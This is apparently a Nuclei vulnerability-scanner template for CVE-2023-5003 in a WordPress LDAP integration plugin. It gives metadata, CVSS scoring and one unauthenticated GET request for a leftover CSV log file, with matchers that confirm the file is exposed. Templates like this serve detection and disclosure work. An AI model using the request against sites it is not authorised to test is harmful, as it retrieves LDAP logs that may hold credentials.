id: CVE-2023-5003

info:
  name: Active Directory Integration WP Plugin < 4.1.10 - Log Disclosure
  author: s4e-io
  severity: high
  description: |
    The Active Directory Integration / LDAP Integration WordPress plugin before 4.1.10 stores sensitive LDAP logs in a buffer file when an administrator wants to export said logs. Unfortunately, this log file is never removed, and remains accessible to any users knowing the URL to do so.
  impact: |
    Unauthenticated attackers can access sensitive LDAP logs containing authentication credentials and directory information by directly accessing the buffer file URL.
  remediation: Fixed in 4.1.10
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5003
    - https://wpscan.com/vulnerability/91f4e500-71f3-4ef6-9cc7-24a7c12a5748/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-5003
    epss-score: 0.77787
    epss-percentile: 0.9902
    cpe: cpe:2.3:a:miniorange:active_directory_integration_\/_ldap_integration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: miniorange
    product: active_directory_integration_\/_ldap_integration
    framework: wordpress
  tags: wpscan,exposure,csv,ldap,wordpress,wp-plugin,cve,cve2023,miniorange,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/ldap-authentication-report.csv"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ID"
          - "USERNAME"
          - "TIME"
          - "LDAP STATUS"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cab6b97bdc34e92cd73cdf199d9d7048187c02cad68ea562164da09698c43ee402203d5bdc1ecb150b8e1db5aa46bd929f08156fdccf948e99cc70a34f054e310da7:922c64590222798bb761d5b6d8e72950